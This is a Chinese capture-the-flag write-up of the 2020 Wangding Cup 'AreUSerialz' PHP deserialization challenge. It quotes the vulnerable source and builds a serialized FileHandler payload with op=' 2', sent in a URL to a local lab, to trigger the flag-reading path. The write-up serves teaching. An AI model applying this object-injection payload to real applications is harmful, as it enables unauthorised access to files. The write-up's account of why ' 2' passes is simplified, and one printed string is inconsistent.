欢迎光临
我们一直在努力

题解:2020-网鼎杯-青年组-Web-AreUSerialz

一、涉及知识点

序列化 serialize():将⼀个变量的数据转换为字符串。

反序列化 unserialize():将序列化后的字符串还原。

魔术方法 __destruct(析构函数):是 PHP 内置的魔术方法,核心作用是释放资源。

魔术方法 __wakeup:是 PHP 内置的魔术方法,当使用unserialize() 函数反序列化一个对象时,PHP 会自动调用该对象所属类的__wakeup方法。核心作用是:初始化反序列化对象资源,即恢复反序列化对象的状态。

二、真题解析步骤

最终目的:获得flag

1、获取源码

第一步:访问目标网站

第二步:前台界面(防御级别高,F12调试一下,不是重点)

第三步:7kscan扫描出 后台页面/子域名页面(更容易破解,重点关注)

第四步:访问后台页面/子域名页面,会下载 一个ctf.zip

第五步:解压到本地靶场查看源码 NewFlag.php 和 ctf2.php

2、分析源码

2.1 NewFlag.php 源码

<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";//好像是flag
}
return $res;
}
}
?>

2.2 ctf2.php 源码

<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler { //这是一个类
protected $op; //protected是访问控制修饰
protected $filename;
protected $content;
// 没有看到 new __construct(),__construct()就不会被调用,不需要看
function __construct() {
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
//⑥重点2 【1就写;2就读(目的:让代码读取我的需求)】
public function process() {
if($this->op == "1") {//如果是1,就调用write() 写
$this->write();
}
//如果是2,就调用read() 读【⑧要想调用read(),要让op==2】
//在真正if的时候,会忽略空格, " 2"就等同于"2",这样"2"=="2"就成立,为真,就调用了read()
else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}
else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//⑦读 有flag【想办法调用read(),就能拿到flag】
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);//flag,这是我们的目标成果
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
//④重点1
function __destruct() {
//⑨当op==2的时候,它直接给op赋值为1;op==1,就没办法调用read(),也就拿不到flag了,怎么办呢???
//在2前面+空格,这样“ 2” === "2" 就为假,op就不会被赋值为1
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();//⑤调用process(),我们就去看看process()里面写的什么
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
#main ①这里是入口,只是没有写main
if(isset($_GET{'str'})) { //给get传一个str参数
$str = (string)$_GET['str'];
if(is_valid($str)) {
//②调用此 反序列化【前提是:必须先序列化】函数时,会调用__wakeup魔术方法
$obj = unserialize($str);
}
}
//③猜测:代码执行完成后,一定会调用__destruct函数(销毁)
?>

2.3 ctf2.php 源码分析思路

第一步:找到main入口

//整个代码的入口
if(isset($_GET{'str'})) { //以get请求给接收str的上传的内容
$str = (string)$_GET['str'];
if(is_valid($str)) {
//调用此 反序列化【前提是:必须先序列化】函数时,会调用__wakeup魔术方法
$obj = unserialize($str);
}

分析内容:     $obj = unserialize($str); 调用反序列unserialize()函数会调用__wakeup魔术方法【反序列化的前提是 要先序列化】     查找代码中是否调用了__wakeup魔术方法 ==》 发现没有     猜测:代码执行完成后,一定会调用__destruct函数(销毁)     查找代码中是否调用了__destruct ==》 发现有

第二步:查看__destruct函数

//④重点1
function __destruct() {
//⑨当op==2的时候,它直接给op赋值为1;op==1,就没办法调用read(),也就拿不到flag了,怎么办呢???
//在2前面+空格,这样“ 2” === "2" 就为假,op就不会被赋值为1
if($this->op === "2")
$this->op = "1";
$this->content = "";
//⑤调用process(),我们就去看看process()里面写的什么
$this->process();
}

分析内容:当op==2的时候,会被重新赋值为1 ==》 $this->process();

第三步:查看 process()函数

//⑥重点2 【1就写;2就读(目的:让代码读取我的需求)】
public function process() {
if($this->op == "1") {//如果是1,就调用write() 写
$this->write();
}
//如果是2,就调用read() 读【⑧要想调用read(),要让op==2】
//在真正if的时候,会忽略空格, " 2"就等同于"2",这样"2"=="2"就成立,为真,就调用了read()
else if($this->op == "2") {
$res = $this->read();
$this->output($res);
}
else {
$this->output("Bad Hacker!");
}
}

分析内容:     当op==1的时候,会调用write()函数【写】     当op==2的时候,会调用read()函数【读】

第四步:查看 write()函数 和 read()函数

//write()写函数
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
//⑦read()读函数 有flag【想办法调用read(),就能拿到flag】
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);//flag,这是我们的目标成果
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}

分析内容:     发现read()函数中存在flag,那就要想办法调用read()函数     调用read()函数需要什么条件,前面提到:op==2时,调用read()函数,那就要想办法让 op==2     怎样才能让 op==2呢??     前面提到:【__destruct 函数中:当op==2的时候,会被重新赋值为1】,这样看 op就不能是2了     但是 只有 op==2时,才会调用read()函数。这就很矛盾了,怎么办呢???

方法:我们给 op 赋值为 “ 2”【在2前面加空格】就满足条件了。 原理:在process() 函数中,if判断条件时,会自动忽略空格。

第五步:得出结论

1、反序列化的前提是 要先序列化,所以我们要给str一个序列化后的值

2、op==" 2"

3、获取flag 具体实现步骤

第一步:访问 ctf2.php

>根据结论得出:http://127.0.0.1/14xlh/ctf2.php?str=序列化的码

第二步:获取序列化的码

序列化在线工具: https://c.runoob.com/compile/1/

(1)需要序列化的内容

//由于代码太长,我们只保留重点部分
<?php
class FileHandler {
protected $op=' 2';//op==" 2"
protected $filename='NewFlag.php';
protected $content='cs';
}
$result=new FileHandler();
echo (serialize($result));//序列化
?>

(2)得到的内容中有乱码

(3)修改 protected 为 public

【因为protected是受保护的,所以是乱码,我们改成public公开的,就解决乱码问题了】

//由于代码太长,我们只保留重点部分
<?php
class FileHandler {
public $op=' 2';//op==" 2"
public $filename='NewFlag.php';
public $content='cs';
}
$result=new FileHandler();
echo (serialize($result));//序列化
?>

(4)得到序列化的码

O:11:"FileHandler":3:{s:2:"op";s:2:"2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

第三步:组装访问

http://127.0.0.1/14xlh/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

结果是错误的,什么原因呢?是phpstudy的版本太低了,我们切换为高版本。

第四步:再次访问

http://127.0.0.1/14xlh/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}

第五步:成功拿到flag

flag:{33858534-shegruie353-shgdg23shreigeli1234}

赞(0)
未经允许不得转载:171主机测评 » 题解:2020-网鼎杯-青年组-Web-AreUSerialz
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址